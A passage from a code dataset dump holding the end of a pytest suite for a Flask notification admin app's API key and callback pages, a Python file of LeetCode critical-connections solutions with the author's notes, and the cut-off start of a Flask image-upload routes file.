mock_get_notifications\n):\n response = logged_in_client.get(url_for('main.api_integration', service_id=str(uuid.uuid4())))\n assert response.status_code == 200\n page = BeautifulSoup(response.data.decode('utf-8'), 'html.parser')\n assert page.h1.string.strip() == 'API integration'\n rows = page.find_all('details')\n assert len(rows) == 5\n for index, row in enumerate(rows):\n assert row.find('h3').string.strip() == '07123456789'\n\n\ndef test_should_show_api_page_with_lots_of_notifications(\n logged_in_client,\n mock_login,\n api_user_active,\n mock_get_service,\n mock_has_permissions,\n mock_get_notifications_with_previous_next\n):\n response = logged_in_client.get(url_for('main.api_integration', service_id=str(uuid.uuid4())))\n page = BeautifulSoup(response.data.decode('utf-8'), 'html.parser')\n rows = page.find_all('div', {'class': 'api-notifications-item'})\n assert ' '.join(rows[len(rows) - 1].text.split()) == (\n 'Only showing the first 50 messages. Notify deletes messages after 7 days.'\n )\n\n\ndef test_should_show_api_page_with_no_notifications(\n logged_in_client,\n mock_login,\n api_user_active,\n mock_get_service,\n mock_has_permissions,\n mock_get_notifications_with_no_notifications\n):\n response = logged_in_client.get(url_for('main.api_integration', service_id=str(uuid.uuid4())))\n page = BeautifulSoup(response.data.decode('utf-8'), 'html.parser')\n rows = page.find_all('div', {'class': 'api-notifications-item'})\n assert 'When you send messages via the API they’ll appear here.' in rows[len(rows) - 1].text.strip()\n\n\n@pytest.mark.parametrize('template_type, has_links', [\n ('sms', False),\n ('letter', True),\n])\ndef test_letter_notifications_should_have_link_to_view_letter(\n client_request,\n api_user_active,\n fake_uuid,\n mock_has_permissions,\n mocker,\n template_type,\n has_links\n):\n mock_get_notifications(mocker, api_user_active, diff_template_type=template_type)\n\n page = client_request.get(\n 'main.api_integration',\n service_id=fake_uuid,\n )\n\n assert (page.select_one('details a') is not None) == has_links\n\n\n@pytest.mark.parametrize('status', [\n 'pending-virus-check', 'virus-scan-failed'\n])\ndef test_should_not_have_link_to_view_letter_for_precompiled_letters_in_virus_states(\n client_request,\n api_user_active,\n fake_uuid,\n mock_has_permissions,\n mocker,\n status\n):\n mock_get_notifications(mocker, api_user_active, noti_status=status)\n\n page = client_request.get(\n 'main.api_integration',\n service_id=fake_uuid,\n )\n\n assert not page.select_one('details a')\n\n\n@pytest.mark.parametrize('client_reference, shows_ref', [\n ('foo', True),\n (None, False),\n])\ndef test_letter_notifications_should_show_client_reference(\n client_request,\n api_user_active,\n fake_uuid,\n mock_has_permissions,\n mocker,\n client_reference,\n shows_ref\n):\n mock_get_notifications(mocker, api_user_active, client_reference=client_reference)\n\n page = client_request.get(\n 'main.api_integration',\n service_id=fake_uuid,\n )\n dt_arr = [p.text for p in page.select('dt')]\n\n if shows_ref:\n assert 'client_reference:' in dt_arr\n assert page.select_one('dd:nth-of-type(2)').text == 'foo'\n else:\n assert 'client_reference:' not in dt_arr\n\n\ndef test_should_show_api_page_for_live_service(\n logged_in_client,\n mock_login,\n api_user_active,\n mock_get_live_service,\n mock_has_permissions\n):\n response = logged_in_client.get(url_for('main.api_integration', service_id=str(uuid.uuid4())))\n page = BeautifulSoup(response.data.decode('utf-8'), 'html.parser')\n assert 'Your service is in trial mode' not in page.find('main').text\n\n\ndef test_api_documentation_page_should_redirect(\n logged_in_client,\n mock_login,\n api_user_active,\n mock_get_service,\n mock_has_permissions\n):\n response = logged_in_client.get(url_for('main.api_documentation', service_id=str(uuid.uuid4())))\n assert response.status_code == 301\n assert response.location == url_for(\n 'main.documentation',\n _external=True\n )\n\n\ndef test_should_show_empty_api_keys_page(\n client,\n api_user_pending,\n mock_login,\n mock_get_no_api_keys,\n mock_get_service,\n mock_has_permissions,\n):\n client.login(api_user_pending)\n service_id = str(uuid.uuid4())\n response = client.get(url_for('main.api_keys', service_id=service_id))\n\n assert response.status_code == 200\n assert 'You haven’t created any API keys yet' in response.get_data(as_text=True)\n assert 'Create an API key' in response.get_data(as_text=True)\n mock_get_no_api_keys.assert_called_once_with(service_id=service_id)\n\n\ndef test_should_show_api_keys_page(\n logged_in_client,\n api_user_active,\n mock_login,\n mock_get_api_keys,\n mock_get_service,\n mock_has_permissions,\n fake_uuid,\n):\n response = logged_in_client.get(url_for('main.api_keys', service_id=fake_uuid))\n\n assert response.status_code == 200\n resp_data = response.get_data(as_text=True)\n assert 'some key name' in resp_data\n assert 'another key name' in resp_data\n assert 'Revoked 1 January at 1:00am' in resp_data\n mock_get_api_keys.assert_called_once_with(service_id=fake_uuid)\n\n\n@pytest.mark.parametrize('service_mock, expected_options', [\n (mock_get_service, [\n (\n 'Live – sends to anyone '\n 'Not available because your service is in trial mode'\n ),\n 'Team and whitelist – limits who you can send to',\n 'Test – pretends to send messages',\n ]),\n (mock_get_live_service, [\n 'Live – sends to anyone',\n 'Team and whitelist – limits who you can send to',\n 'Test – pretends to send messages',\n ]),\n (mock_get_service_with_letters, [\n 'Live – sends to anyone',\n (\n 'Team and whitelist – limits who you can send to '\n 'Can’t be used to send letters'\n ),\n 'Test – pretends to send messages',\n ]),\n])\ndef test_should_show_create_api_key_page(\n client_request,\n mocker,\n api_user_active,\n mock_get_api_keys,\n service_mock,\n expected_options,\n):\n service_mock(mocker, api_user_active)\n\n page = client_request.get('main.create_api_key', service_id=SERVICE_ONE_ID)\n\n for index, option in enumerate(expected_options):\n assert normalize_spaces(page.select('.block-label')[index].text) == option\n\n\ndef test_should_create_api_key_with_type_normal(\n logged_in_client,\n api_user_active,\n mock_login,\n mock_get_api_keys,\n mock_get_live_service,\n mock_has_permissions,\n fake_uuid,\n mocker,\n):\n post = mocker.patch('app.notify_client.api_key_api_client.ApiKeyApiClient.post', return_value={'data': fake_uuid})\n service_id = str(uuid.uuid4())\n\n response = logged_in_client.post(\n url_for('main.create_api_key', service_id=service_id),\n data={\n 'key_name': 'Some default key name 1/2',\n 'key_type': 'normal'\n }\n )\n\n assert response.status_code == 200\n page = BeautifulSoup(response.data.decode('utf-8'), 'html.parser')\n keys = page.find_all('span', {'class': 'api-key-key'})\n for index, key in enumerate([\n 'some_default_key_name_12-{}-{}'.format(service_id, fake_uuid),\n service_id,\n fake_uuid\n ]):\n assert keys[index].text.strip() == key\n\n post.assert_called_once_with(url='/service/{}/api-key'.format(service_id), data={\n 'name': 'Some default key name 1/2',\n 'key_type': 'normal',\n 'created_by': api_user_active.id\n })\n\n\ndef test_cant_create_normal_api_key_in_trial_mode(\n logged_in_client,\n api_user_active,\n mock_login,\n mock_get_api_keys,\n mock_get_service,\n mock_has_permissions,\n fake_uuid,\n mocker,\n):\n mock_post = mocker.patch('app.notify_client.api_key_api_client.ApiKeyApiClient.post')\n\n response = logged_in_client.post(\n url_for('main.create_api_key', service_id=uuid.uuid4()),\n data={\n 'key_name': 'some default key name',\n 'key_type': 'normal'\n }\n )\n assert response.status_code == 400\n mock_post.assert_not_called()\n\n\ndef test_should_show_confirm_revoke_api_key(\n client_request,\n mock_get_api_keys,\n fake_uuid,\n):\n page = client_request.get(\n 'main.revoke_api_key', service_id=SERVICE_ONE_ID, key_id=fake_uuid,\n _test_page_title=False,\n )\n assert normalize_spaces(page.select('.banner-dangerous')[0].text) == (\n 'Are you sure you want to revoke this API key? '\n '‘some key name’ will no longer let you connect to Notify. '\n 'Confirm'\n )\n assert mock_get_api_keys.call_args_list == [\n call(\n key_id=fake_uuid,\n service_id='596364a0-858e-42c8-9062-a8fe822260eb',\n ),\n call(\n service_id='596364a0-858e-42c8-9062-a8fe822260eb'\n ),\n ]\n\n\ndef test_should_redirect_after_revoking_api_key(\n logged_in_client,\n api_user_active,\n mock_login,\n mock_revoke_api_key,\n mock_get_api_keys,\n mock_get_service,\n mock_has_permissions,\n fake_uuid,\n):\n response = logged_in_client.post(url_for('main.revoke_api_key', service_id=fake_uuid, key_id=fake_uuid))\n\n assert response.status_code == 302\n assert response.location == url_for('.api_keys', service_id=fake_uuid, _external=True)\n mock_revoke_api_key.assert_called_once_with(service_id=fake_uuid, key_id=fake_uuid)\n mock_get_api_keys.assert_called_once_with(service_id=fake_uuid, key_id=fake_uuid)\n\n\n@pytest.mark.parametrize('route', [\n 'main.api_keys',\n 'main.create_api_key',\n 'main.revoke_api_key'\n])\ndef test_route_permissions(\n mocker,\n app_,\n api_user_active,\n service_one,\n mock_get_api_keys,\n route,\n):\n with app_.test_request_context():\n validate_route_permission(\n mocker,\n app_,\n \"GET\",\n 200,\n url_for(route, service_id=service_one['id'], key_id=123),\n ['manage_api_keys'],\n api_user_active,\n service_one)\n\n\n@pytest.mark.parametrize('route', [\n 'main.api_keys',\n 'main.create_api_key',\n 'main.revoke_api_key'\n])\ndef test_route_invalid_permissions(\n mocker,\n app_,\n api_user_active,\n service_one,\n mock_get_api_keys,\n route,\n):\n with app_.test_request_context():\n validate_route_permission(\n mocker,\n app_,\n \"GET\",\n 403,\n url_for(route, service_id=service_one['id'], key_id=123),\n ['view_activity'],\n api_user_active,\n service_one)\n\n\ndef test_should_show_whitelist_page(\n logged_in_client,\n mock_login,\n api_user_active,\n mock_get_service,\n mock_has_permissions,\n mock_get_whitelist,\n):\n response = logged_in_client.get(url_for('main.whitelist', service_id=str(uuid.uuid4())))\n page = BeautifulSoup(response.data.decode('utf-8'), 'html.parser')\n textboxes = page.find_all('input', {'type': 'text'})\n for index, value in enumerate(\n ['test@example.com'] + [''] * 4 + ['07900900000'] + [''] * 4\n ):\n assert textboxes[index]['value'] == value\n\n\ndef test_should_update_whitelist(\n logged_in_client,\n mock_login,\n api_user_active,\n mock_get_service,\n mock_has_permissions,\n mock_update_whitelist\n):\n service_id = str(uuid.uuid4())\n data = OrderedDict([\n ('email_addresses-1', 'test@example.com'),\n ('email_addresses-3', 'test@example.com'),\n ('phone_numbers-0', '07900900000'),\n ('phone_numbers-2', '+1800-555-555'),\n ])\n\n logged_in_client.post(\n url_for('main.whitelist', service_id=service_id),\n data=data\n )\n\n mock_update_whitelist.assert_called_once_with(service_id, {\n 'email_addresses': ['test@example.com', 'test@example.com'],\n 'phone_numbers': ['07900900000', '+1800-555-555']})\n\n\ndef test_should_validate_whitelist_items(\n logged_in_client,\n mock_login,\n api_user_active,\n mock_get_service,\n mock_has_permissions,\n mock_update_whitelist\n):\n\n response = logged_in_client.post(\n url_for('main.whitelist', service_id=str(uuid.uuid4())),\n data=OrderedDict([\n ('email_addresses-1', 'abc'),\n ('phone_numbers-0', '123')\n ])\n )\n\n page = BeautifulSoup(response.data.decode('utf-8'), 'html.parser')\n assert page.h1.string.strip() == 'There was a problem with your whitelist'\n jump_links = page.select('.banner-dangerous a')\n\n assert jump_links[0].string.strip() == 'Enter valid email addresses'\n assert jump_links[0]['href'] == '#email_addresses'\n\n assert jump_links[1].string.strip() == 'Enter valid phone numbers'\n assert jump_links[1]['href'] == '#phone_numbers'\n\n mock_update_whitelist.assert_not_called()\n\n\n@pytest.mark.parametrize('endpoint', [\n ('main.delivery_status_callback'),\n ('main.received_text_messages_callback'),\n])\n@pytest.mark.parametrize('url, bearer_token, expected_errors', [\n (\"http://not_https.com\", \"1234567890\", \"Must be a valid https URL\"),\n (\"https://test.com\", \"123456789\", \"Must be at least 10 characters\"),\n])\ndef test_callback_forms_validation(\n client_request,\n service_one,\n endpoint,\n url,\n bearer_token,\n expected_errors\n):\n if endpoint == 'main.received_text_messages_callback':\n service_one['permissions'] = ['inbound_sms']\n\n data = {\n \"url\": url,\n \"bearer_token\": bearer_token,\n }\n\n response = client_request.post(\n endpoint,\n service_id=service_one['id'],\n _data=data,\n _expected_status=200\n )\n error_msgs = ' '.join(msg.text.strip() for msg in response.select(\".error-message\"))\n\n assert error_msgs == expected_errors\n\n@pytest.mark.parametrize('bearer_token', ['', 'some-bearer-token'])\n@pytest.mark.parametrize('endpoint, expected_delete_url', [\n (\n 'main.delivery_status_callback',\n '/service/{}/delivery-receipt-api/{}',\n ),\n (\n 'main.received_text_messages_callback',\n '/service/{}/inbound-api/{}',\n ),\n])\n\ndef test_callback_forms_can_be_cleared(\n client_request,\n service_one,\n endpoint,\n expected_delete_url,\n bearer_token,\n mocker,\n fake_uuid,\n mock_get_valid_service_callback_api,\n mock_get_valid_service_inbound_api,\n):\n service_one['service_callback_api'] = [fake_uuid]\n service_one['inbound_api'] = [fake_uuid]\n service_one['permissions'] = ['inbound_sms']\n mocked_delete = mocker.patch('app.service_api_client.delete')\n\n page = client_request.post(\n endpoint,\n service_id=service_one['id'],\n _data={\n 'url': '',\n 'bearer_token': bearer_token,\n },\n _expected_redirect=url_for(\n 'main.api_callbacks',\n service_id=service_one['id'],\n _external=True,\n )\n )\n\n assert not page.select(\".error-message\")\n\n mocked_delete.assert_called_once_with(\n expected_delete_url.format(\n service_one['id'], fake_uuid\n )\n )\n\n\n@pytest.mark.parametrize('has_inbound_sms, expected_link', [\n (True, 'main.api_callbacks'),\n (False, 'main.delivery_status_callback'),\n])\ndef test_callbacks_button_links_straight_to_delivery_status_if_service_has_no_inbound_sms(\n client_request,\n service_one,\n mocker,\n mock_get_notifications,\n has_inbound_sms,\n expected_link\n):\n if has_inbound_sms:\n service_one['permissions'] = ['inbound_sms']\n\n page = client_request.get(\n 'main.api_integration',\n service_id=service_one['id'],\n )\n\n assert page.select('.pill-separate-item')[2]['href'] == url_for(\n expected_link, service_id=service_one['id']\n )\n\n\ndef test_callbacks_page_redirects_to_delivery_status_if_service_has_no_inbound_sms(\n client_request,\n service_one,\n mocker\n):\n page = client_request.get(\n 'main.api_callbacks',\n service_id=service_one['id'],\n _follow_redirects=True,\n )\n\n assert normalize_spaces(page.select_one('h1').text) == \"Callbacks for delivery receipts\"\n\n\n@pytest.mark.parametrize('has_inbound_sms, expected_link', [\n (True, 'main.api_callbacks'),\n (False, 'main.api_integration'),\n])\ndef test_back_link_directs_to_api_integration_from_delivery_callback_if_no_inbound_sms(\n client_request,\n service_one,\n mocker,\n has_inbound_sms,\n expected_link\n):\n if has_inbound_sms:\n service_one['permissions'] = ['inbound_sms']\n\n page = client_request.get(\n 'main.delivery_status_callback',\n service_id=service_one['id'],\n _follow_redirects=True,\n )\n\n assert page.select_one('.page-footer-secondary-link')['href'] == url_for(\n expected_link, service_id=service_one['id']\n )\n\n\n@pytest.mark.parametrize('endpoint', [\n ('main.delivery_status_callback'),\n ('main.received_text_messages_callback'),\n])\ndef test_create_delivery_status_and_receive_text_message_callbacks(\n client_request,\n service_one,\n mocker,\n mock_get_notifications,\n mock_create_service_inbound_api,\n mock_create_service_callback_api,\n endpoint,\n fake_uuid,\n):\n if endpoint == 'main.received_text_messages_callback':\n service_one['permissions'] = ['inbound_sms']\n\n data = {\n 'url': \"https://test.url.com/\",\n 'bearer_token': '1234567890',\n 'user_id': fake_uuid\n }\n\n client_request.post(\n endpoint,\n service_id=service_one['id'],\n _data=data,\n )\n\n if endpoint == 'main.received_text_messages_callback':\n mock_create_service_inbound_api.assert_called_once_with(\n service_one['id'],\n url=\"https://test.url.com/\",\n bearer_token=\"1234567890\",\n user_id=fake_uuid,\n )\n else:\n mock_create_service_callback_api.assert_called_once_with(\n service_one['id'],\n url=\"https://test.url.com/\",\n bearer_token=\"1234567890\",\n user_id=fake_uuid,\n )\n\n\n@pytest.mark.parametrize('endpoint, fixture', [\n ('main.delivery_status_callback', mock_get_valid_service_callback_api),\n ('main.received_text_messages_callback', mock_get_valid_service_inbound_api),\n])\ndef test_update_delivery_status_and_receive_text_message_callbacks(\n client_request,\n service_one,\n mocker,\n mock_get_notifications,\n mock_update_service_inbound_api,\n mock_update_service_callback_api,\n endpoint,\n fixture,\n fake_uuid,\n):\n if endpoint == 'main.received_text_messages_callback':\n service_one['inbound_api'] = [fake_uuid]\n service_one['permissions'] = ['inbound_sms']\n else:\n service_one['service_callback_api'] = [fake_uuid]\n\n fixture(mocker)\n\n data = {\n 'url': \"https://test.url.com/\",\n 'bearer_token': '1234567890',\n 'user_id': fake_uuid\n }\n\n client_request.post(\n endpoint,\n service_id=service_one['id'],\n _data=data,\n )\n\n if endpoint == 'main.received_text_messages_callback':\n mock_update_service_inbound_api.assert_called_once_with(\n service_one['id'],\n url=\"https://test.url.com/\",\n bearer_token=\"1234567890\",\n user_id=fake_uuid,\n inbound_api_id=fake_uuid,\n )\n else:\n mock_update_service_callback_api.assert_called_once_with(\n service_one['id'],\n url=\"https://test.url.com/\",\n bearer_token=\"1234567890\",\n user_id=fake_uuid,\n callback_api_id=fake_uuid\n )\n\n\n@pytest.mark.parametrize('endpoint, data, fixture', [\n (\n 'main.delivery_status_callback',\n {\"url\": \"https://hello2.gov.uk\", \"bearer_token\": \"bearer_token_set\"},\n mock_get_valid_service_callback_api\n ),\n (\n 'main.received_text_messages_callback',\n {\"url\": \"https://hello3.gov.uk\", \"bearer_token\": \"bearer_token_set\"},\n mock_get_valid_service_inbound_api\n ),\n])\ndef test_update_delivery_status_and_receive_text_message_callbacks_without_changes_do_not_update(\n client_request,\n service_one,\n mocker,\n mock_get_notifications,\n mock_update_service_callback_api,\n mock_update_service_inbound_api,\n data,\n fixture,\n endpoint,\n fake_uuid,\n):\n if endpoint == 'main.received_text_messages_callback':\n service_one['inbound_api'] = [fake_uuid]\n service_one['permissions'] = ['inbound_sms']\n else:\n service_one['service_callback_api'] = [fake_uuid]\n\n fixture(mocker)\n\n data['user_id'] = fake_uuid\n\n client_request.post(\n endpoint,\n service_id=service_one['id'],\n _data=data,\n )\n\n if endpoint == 'main.received_text_messages_callback':\n assert mock_update_service_inbound_api.called is False\n else:\n assert mock_update_service_callback_api.called is False\n\n\n@pytest.mark.parametrize('service_callback_api, delivery_url, expected_1st_table_row', [\n (\n None, {},\n 'Callbacks for delivery receipts Not set Change'\n ),\n (\n fake_uuid(), {'url': 'https://delivery.receipts'},\n 'Callbacks for delivery receipts https://delivery.receipts Change'\n ),\n])\n@pytest.mark.parametrize('inbound_api, inbound_url, expected_2nd_table_row', [\n (\n None, {},\n 'Callbacks for received text messages Not set Change'\n ),\n (\n fake_uuid(), {'url': 'https://inbound.sms'},\n 'Callbacks for received text messages https://inbound.sms Change'\n ),\n])\ndef test_callbacks_page_works_when_no_apis_set(\n client_request,\n service_one,\n mocker,\n service_callback_api,\n delivery_url,\n expected_1st_table_row,\n inbound_api,\n inbound_url,\n expected_2nd_table_row,\n):\n service_one['permissions'] = ['inbound_sms']\n service_one['inbound_api'] = inbound_api\n service_one['service_callback_api'] = service_callback_api\n\n mocker.patch('app.service_api_client.get_service_callback_api', return_value=delivery_url)\n mocker.patch('app.service_api_client.get_service_inbound_api', return_value=inbound_url)\n\n page = client_request.get('main.api_callbacks',\n service_id=service_one['id'],\n _follow_redirects=True)\n expected_rows = [\n expected_1st_table_row,\n expected_2nd_table_row,\n ]\n rows = page.select('tbody tr')\n assert len(rows) == 2\n for index, row in enumerate(expected_rows):\n assert row == normalize_spaces(rows[index].text)\n","repo_name":"govau/notify","sub_path":"admin/tests/app/main/views/test_api_integration.py","file_name":"test_api_integration.py","file_ext":"py","file_size_in_byte":23300,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"7"} +{"seq_id":"14198499795","text":"#! /usr/bin/env python3\nfrom typing import List, Set, Tuple\n\n# from collections import deque\nfrom random import randint\n\n# from time import time\n\"\"\"09/21/2019\n\nSolution1:\nFor any given server, follow its connection to the next server. If this path\ncannot lead to a loop that goes back to the current server or any of its ancestor,\nthen the connection between the current and next servers is critical. I use DFS\nto recursively perform the above-mentioned procedure. Some optimization is carried\nout, such as shrinking the search space by removing the connections visited at\neach step. However, this method times out (too many recursions). Most likely\na non-recursive method is needed.\n\n\nUPDATE 09/25/2019\nSolution2:\nI wasn't able to find other methods to reduce time complexity, so I referred to\nthe discussion.\n\nhttps://leetcode.com/problems/critical-connections-in-a-network/discuss/382638/No-TarjanDFS-detailed-explanation-O(orEor)-solution-(I-like-this-question)\n\nIt turned out my original solution was not wrong. Indeed, DFS\nis needed. However, the reason for my time out was due to returning a set at\neach recursion call. Given tons of recursion calls, the overhead of copying a\nset at each return results in TLE.\n\nThe genious of the solution in the discussion (not the Tarjan one) is that we\ndon't need to return all the loop_start we can reach from a certain node. For\nexample, if a certain node can reach two loop_start a and b, and a is more\nupstream than b in the path, then we can ignore b and only return a. In order to\ndetermine which node is more upstream, we need to attach rank to each node we\nhave visited in a route. This is where the discussion solution differs from my\noriginal one. My original solution does not take into consideration ranking, thus\nI need to record all the loop_start a node can hit. But now, with ranking, I\nonly need to record the smallest rank a node can reach, i.e. returning an int\ninstead of a set. This drastically decreases the runtime.\n\nIn Solution2, I also used the discussion answer's idea of removing connection in\na loop, instead of adding the disconnection once it is encountered. Solution2\npassed OJ (though it reported too many recursions on my macbook), clocking in at\n2804 ms, 17%\n\n\nSolution3:\nThis solution is a combination of Solution1 and Solution2. Basically the\nstructure of Solution2, but instead of removing loop connections, I add the\ndisconnect. This solution clocked in at 2648 ms, 44%.\n\n\nUPDATE: 09/28/2019\nSolution4:\nIt is the standard Tarjan algorithm, heavily inspired by this post:\nhttps://leetcode.com/problems/critical-connections-in-a-network/discuss/382526/Tarjan-Algorithm-(DFS)-Python-Solution-with-explanation\n\nThe basic idea is the same as the other solutions, except this time, the code\nis much cleaner and algorithm much easier to parse. We are dfs all nodes, and\nalong the way, we record the ranking (visiting order) of each node, and the\nsmallest rank the current node can reach eventually. These two data are recorded\nduring dfs, and analyzed after dfs is done. For any connection n1 -> n2, if the\nmin rank n2 can reach is larger than the rank of n1, then n1 -> n2 must be a\ndisconnection. We can loop through the given connections and pick out those\ndisconnection easily.\n\nBrilliant solution. It clocks in at 2376 ms, 99.26%\n\"\"\"\n\n\nclass Solution1:\n def criticalConnections(\n self, n: int, connections: List[List[int]]\n ) -> List[List[int]]:\n connects: List[Set[int]] = [set() for _ in range(n)]\n # each index represents a server, and the set associated with it contains\n # the servers that the index server directly connects to.\n for a, b in connections:\n connects[a].add(b)\n connects[b].add(a)\n cc: List[List[int]] = [] # record the critical connections\n seen: Set[int] = set() # record the servers seen so far\n for i in range(n):\n self.helper(i, connects, seen, cc)\n return cc\n\n def helper(\n self,\n curr_node: int,\n connects: List[Set[int]],\n seen: Set[int],\n cc: List[List[int]],\n ):\n if curr_node in seen: # loop found, return the start of the loop\n return {curr_node}\n else:\n seen.add(curr_node)\n loop_start: Set[\n int\n ] = set() # ancestor servers to which the current server can loop back\n while len(connects[curr_node]):\n next_node: int = connects[\n curr_node\n ].pop() # remove next server from connects, so that it won't be visited again\n connects[next_node].remove(curr_node)\n loop_start_next = self.helper(next_node, connects, seen, cc)\n if (\n not loop_start_next\n ): # if next server cannot form a loop involving current server, this is critical connection\n cc.append([curr_node, next_node])\n loop_start = loop_start.union(loop_start_next)\n if curr_node in loop_start: # a loop is complete\n loop_start.remove(curr_node)\n seen.remove(curr_node)\n return loop_start\n\n\nclass Solution2:\n def criticalConnections(\n self, n: int, connections: List[List[int]]\n ) -> List[List[int]]:\n connects: List[Set[int]] = [set() for _ in range(n)]\n # each index represents a server, and the set associated with it contains\n # the servers that the index server directly connects to.\n for a, b in connections:\n connects[a].add(b)\n connects[b].add(a)\n # connections_set makes removal of connection easier\n connections_set: Set[Tuple[int, int]] = set(\n (a, b) if a < b else (b, a) for a, b in connections\n )\n seen: List[int] = [\n -1\n ] * n # record the servers seen so far, with its rank. -1: node not visited yet\n for i in range(n):\n self.helper(i, 0, connects, seen, connections_set, n, n)\n return [list(c) for c in connections_set]\n\n def helper(\n self,\n curr_node: int,\n curr_rank: int,\n connects: List[Set[int]],\n seen: List[int],\n connections_set: Set[Tuple[int, int]],\n loop_start: int,\n n: int,\n ) -> int:\n if seen[curr_node] >= 0: # loop found, return the start of the loop\n return min(loop_start, seen[curr_node])\n else:\n seen[curr_node] = curr_rank\n min_loop_start: int = n\n while len(\n connects[curr_node]\n ): # there are still more routes to go\n next_node: int = connects[\n curr_node\n ].pop() # remove next server from connects, so that it won't be visited again\n connects[next_node].remove(curr_node)\n tmp = self.helper(\n next_node,\n curr_rank + 1,\n connects,\n seen,\n connections_set,\n loop_start,\n n,\n )\n if tmp <= curr_rank: # remove connections in a loop\n connections_set.remove(\n (curr_node, next_node)\n if curr_node < next_node\n else (next_node, curr_node)\n )\n # back to the start of loop, any node upstream is not in the current loop\n min_loop_start = (\n n if tmp == curr_rank else min(min_loop_start, tmp)\n )\n seen[curr_node] = -1\n return min_loop_start\n\n\nclass Solution3:\n def criticalConnections(\n self, n: int, connections: List[List[int]]\n ) -> List[List[int]]:\n connects: List[Set[int]] = [set() for _ in range(n)]\n # each index represents a server, and the set associated with it contains\n # the servers that the index server directly connects to.\n for a, b in connections:\n connects[a].add(b)\n connects[b].add(a)\n cc: List[List[int]] = [] # record the critical connections\n seen: List[int] = [\n -1\n ] * n # record the servers seen so far, with its rank. -1: node not visited yet\n for i in range(n):\n self.helper(i, 0, connects, seen, cc, n)\n return cc\n\n def helper(\n self,\n curr_node: int,\n curr_rank: int,\n connects: List[Set[int]],\n seen: List[int],\n cc: List[List[int]],\n loop_start: int,\n ) -> int:\n if seen[curr_node] >= 0: # loop found, return the start of the loop\n return min(loop_start, seen[curr_node])\n else:\n seen[curr_node] = curr_rank\n min_loop_start: int = len(\n seen\n ) # use len(seen), or n, to mark disconnect\n while len(\n connects[curr_node]\n ): # there are still more routes to go\n next_node: int = connects[\n curr_node\n ].pop() # remove next server from connects, so that it won't be visited again\n connects[next_node].remove(curr_node)\n tmp = self.helper(\n next_node, curr_rank + 1, connects, seen, cc, loop_start\n )\n if tmp == len(seen): # disconnect found\n cc.append([curr_node, next_node])\n # back to the start of loop, any node upstream is not in the current loop\n min_loop_start = (\n len(seen) if tmp == curr_rank else min(min_loop_start, tmp)\n )\n seen[curr_node] = -1\n return min_loop_start\n\n\nclass Solution4:\n def criticalConnections(\n self, n: int, connections: List[List[int]]\n ) -> List[List[int]]:\n graph: List[List[int]] = [\n list() for _ in range(n)\n ] # create data structure for the graph for dfs\n for a, b in connections:\n graph[a].append(b)\n graph[b].append(a)\n ranks: List[int] = [\n 0\n ] * n # record the ranks (visiting order) for each node\n min_ends: List[int] = [0] * n # the smallest rank a node can reach\n\n def dfs(pre_node: int, curr_node: int, curr_rank: int) -> int:\n \"\"\" from each node, visit all nodes it leads to and return the min rank the current node can reach \"\"\"\n if ranks[curr_node]: # loop found\n return ranks[curr_node]\n elif min_ends[curr_node]: # curr_node has been visited before\n return min_ends[curr_node]\n else:\n ranks[curr_node] = curr_rank # record current rank\n min_ends[\n curr_node\n ] = (\n curr_rank\n ) # default smallest rank a node can reach is itself\n for next_node in graph[curr_node]:\n if next_node != pre_node: # don't go backwards\n min_ends[curr_node] = min(\n min_ends[curr_node],\n dfs(curr_node, next_node, curr_rank + 1),\n )\n return min_ends[curr_node]\n\n dfs(-1, 0, 1) # -1 is a dummy value for the pre_node of node 0\n res: List[List[int]] = []\n for n1, n2 in connections:\n # If n1 -> n2, then disconnect happens when n2 cannot lead to a rank smaller or equal to rank of n1.\n # Same with the situation of n2 -> n1\n if min_ends[n2] > ranks[n1] or min_ends[n1] > ranks[n2]:\n res.append([n1, n2])\n return res\n\n\ndef random_connections(n):\n \"\"\" Note that the connections created here might not be accurate test\n cases, because there is no guarantee that the connections can connect\n all servers together. That is, the following connections can be returned:\n [[1, 2], [0, 3]], yet it does not satisfy the requirement for testcase,\n which dictates that any server can reach any other servers directly or\n indirectly.\n \"\"\"\n res = set()\n for _ in range(n):\n c1 = randint(0, n - 1)\n c2 = randint(0, n - 1)\n while c2 == c1:\n c2 = randint(0, n - 1)\n res.add((c1, c2) if c1 < c2 else (c2, c1))\n return [list(s) for s in res]\n\n\ndef single_test(Solution):\n n = 4\n connections = [[0, 1], [1, 2], [2, 0], [1, 3]]\n sol = Solution()\n print(sol.criticalConnections(n, connections))\n\n\ndef random_tets(Solution):\n n = 10000\n connections = random_connections(n)\n sol = Solution()\n # print(n)\n # print(connections)\n print(sol.criticalConnections(n, connections))\n\n\n# random_tets(Solution2)\nsingle_test(Solution4)\n","repo_name":"FanchenBao/leetcode","sub_path":"Contest_154/1192.py","file_name":"1192.py","file_ext":"py","file_size_in_byte":12900,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"23606395355","text":"\"\"\"\nこのファイルでは、アプリケーションのルーティングとビュー関数を定義します。\nindex(): トップページを表示する関数。\nupload(): 画像をアップロードし、���レビュー画面にリダイレクトする関数。\npreview(): アップロードされた画像のプレビュー画面を表示する関数。\nstats(): 解析結果を表示する関数。\n\"\"\"\nimport os\nimport cv2\nimport logging\nfrom app import app, db\nfrom app.database import get_match_info_from_db, save_match_info\nfrom flask import flash, render_template, request, redirect, url_for, g\nfrom werkzeug.utils import secure_filename\nfrom utils.image_processing import preprocess_image\nfrom utils.data_extraction import extract_match_info\n\n# ロギング\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s - %(levelname)s:%(name)s - %(message)s\")\nfile_handler = logging.FileHandler('/Users/daigo/workspace/lol-wildrift-stats/logs/app.log')\nformatter = logging.Formatter('%(asctime)s - %(levelname)s:%(name)s - %(message)s')\nfile_handler.setFormatter(formatter)\nlogger = logging.getLogger(__name__)\nlogger.addHandler(file_handler)\n\nUPLOAD_FOLDER = 'app/static/images/uploads'\nALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg'}\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\n@app.route('/')\n@app.route('/index')\ndef index():\n logger.debug(\"index() 関数が実行されました。\")\n return render_template('index.html')\n\n\n@app.route('/upload', methods=['POST'])\ndef upload():\n logger.debug(\"upload() 関数が実行されました。\")\n if 'file' not in request.files:\n return redirect(url_for('index'))\n\n file = request.files['file']\n\n if file.filename == '':\n return redirect(url_for('index'))\n\n if file and 